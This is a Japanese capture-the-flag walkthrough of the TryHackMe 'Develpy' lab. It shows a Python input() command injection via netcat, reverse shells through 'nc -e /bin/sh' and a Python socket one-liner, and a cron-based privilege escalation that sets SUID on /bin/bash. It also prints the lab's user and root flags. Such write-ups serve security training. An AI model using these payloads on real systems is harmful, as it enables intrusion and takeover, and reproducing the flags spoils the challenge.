概要
TryHackMe「Develpy」のWalkthroughです。
Task1
Q1.user.txt
ポートスキャンを実行します。
$ nmap -Pn -T4 -sV -A -sC -p- 10.10.154.157 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
| 256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_ 256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
10000/tcp open snet-sensor-mgmt?
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
| GetRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'OPTIONS' is not defined
| NULL:
| Private 0days
|_ Please enther number of exploits to send??:
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
10000 | snet-sensor-mgmt |
10000
ポートにGETリクエストが送信できないのでNetcatで接続してみます。
$ nc 10.10.154.157 10000
Private 0days
Please enther number of exploits to send??:
数字を入力すると、その分だけパケットを送信しているようです。
Please enther number of exploits to send??: 1
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.046 ms
Please enther number of exploits to send??: 2
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.015 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.021 ms
Please enther number of exploits to send??: 3
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.077 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.065 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.074 ms
数字以外を入力するとエラー文が表示され、pythonで書かれていることが分かりました。
$ nc 10.10.16.122 10000
Private 0days
Please enther number of exploits to send??:
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 0
^
SyntaxError: unexpected EOF while parsing
pythonのOSコマンドインジェクションのテクニックを検索しました。
__import__('os').system('ls')
の様な値を送信するとこで、脆弱性を悪用できそうです。
実際に試してみるとインジェクションに成功しました。
$ nc 10.10.16.122 10000
Private 0days
Please enther number of exploits to send??: __import__('os').system('ls')
credentials.png exploit.py root.sh run.sh user.txt
Exploit started, attacking target (tryhackme.com)...
Netcatでリバースシェルを張れました。
$ nc 10.10.16.122 10000
Private 0days
Please enther number of exploits to send??: __import__('os').system('nc -e /bin/sh 10.6.55.144 1234')
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.16.122] 42262
whoami
king
TTYの設定をします。
python3 -c 'import pty; pty.spawn("/bin/bash")'
king@ubuntu:~$
/home/king/user.txt
からユーザーフラグを入手できました。
cf85ff769cfaaa721758949bf870b019
/home/king/credentials.png
をダウンロードして確認します。
メタデータを読み取るとMondrian
という情報を得られました。
$ exiftool credentials.png
ExifTool Version Number : 12.70
File Name : credentials.png
Directory : .
File Size : 272 kB
File Modification Date/Time : 2019:08:27 15:08:23-04:00
File Access Date/Time : 2024:10:21 21:21:38-04:00
File Inode Change Date/Time : 2024:10:21 21:19:47-04:00
File Permissions : -rwxr-xr-x
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 520
Image Height : 520
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Palette : (Binary data 768 bytes, use -b option to extract)
Transparency : (Binary data 256 bytes, use -b option to extract)
Artist : Mondrian
Copyright : Mondrian
Image Size : 520x520
Megapixels : 0.270
Piet Mondrian
という画家がいたようです。
また、piet
というプログラミング言語があるようです。
https://esolangs.org/wiki/Piet
この画像はそのpiet
で書かれたプログラムのようです。
下記サイトで実行してみるとパスワードを得られました。
A.cf85ff769cfaaa721758949bf870b019
Q2.root.txt
解法1
/etc/crontab
を確認すると、/home/king/root.sh
,/root/company/run.sh
がルートで実行されていると分かりました。
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * king cd /home/king/ && bash run.sh
* * * * * root cd /home/king/ && bash root.sh
* * * * * root cd /root/company && bash run.sh
#
/home/king/root.sh
では/root/company/media/
配下のpythonファイルをすべてroot権限で実行しています。
python /root/company/media/*.py
また、linpeas
を実行しローカルの8080
でWebアプリケーションの動作も確認できました。
$ ./linpeas.sh
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN 781/socat
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
SSHでフォワーディングの設定をします。
$ ssh -L 8000:127.0.0.1:8080 king@10.10.130.49
king@ubuntu:~$
ディレクトリスキャンをします。
$ dirsearch -u http://127.0.0.1:8000
[22:10:53] 301 - 0B - /admin -> /admin/
[22:10:56] 302 - 0B - /admin/ -> /admin/login/?next=/admin/
[22:10:58] 301 - 0B - /admin/login -> /admin/login/
[22:12:11] 301 - 0B - /books -> /books/
[22:14:23] 301 - 0B - /upload -> /upload/
[22:14:24] 200 - 2KB - /upload/
/upload
では、/media
フォルダにpythonファイルをアップロード出来ます。
このことから、pythonのエクスプロイトコードをアップロードし、/home/king/root.sh
経由で権限昇格出来そうです。
pythonのリバースシェルペイロードをアップロードします。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
Netcatでリッスンしているとroot権限を取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.130.49] 44950
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
解法2
/home/king/root.sh
を差し替えます。
$ mv root.sh ./root.sh.org
$ echo "chmod u+s /bin/bash" > root.sh
$ chmod +x root.sh
rootに権限昇格できました。
$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jul 12 2019 /bin/bash
$ /bin/bash -p
bash-4.3# whoami
root
/root/root.txt
からルートフラグを入手できます。
9c37646777a53910a347f387dce025ec
A.9c37646777a53910a347f387dce025ec